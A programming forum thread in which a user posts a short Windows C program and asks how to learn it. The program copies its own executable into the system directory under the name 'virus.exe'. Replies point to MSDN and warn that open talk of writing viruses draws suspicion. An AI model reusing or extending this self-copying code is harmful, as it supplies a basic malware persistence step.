Hi Guys, I want to ask about these codes, i don't understand clearly. So to understand these codes detail what kind of books i have to read and tutorial i have to learn. Please guide me.

#include <windows.h>
 int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE  
      PrevInstance, LPSTR lpszArgument, int nFunsterStil)
{
             char system[MAX_PATH];
             char pathtofile[MAX_PATH];
             HMODULE GetModH = GetModuleHandle(NULL);

            GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
           GetSystemDirectory(system,sizeof(system));

           strcat(system,”\\virus.exe”);

         CopyFile(pathtofile,system,false);

         MessageBox(NULL,”Hello”,”Messagebox Example”,MB_OK);
        return 0;
}

>So to understand these codes detail what kind of books i have to read and tutorial i have to learn.
Why don't you just read the documentation on MSDN? It's all there.

>strcat(system,”\\virus.exe”);
*sigh*

Thanks Narue, I'm gonna check it.

>
>strcat(system,”\\virus.exe”);
*sigh*

just curious :D

>just curious
Given my sordid past as a programmer, I'd be a terrible hypocrite if I told you not to experiment with viruses. In fact, it's a fantastic way to learn about security and self-propagating code. However, any mention of it in public is generally a bad idea.

Even the "virus.exe" file name is likely to get you shunned by the very people most qualified to answer help you when they would otherwise not question your motives for writing to the system directory. Malware writers are viewed as the lowest of the low, and nobody wants to associate with them.

This question has already been answered. Start a new discussion instead.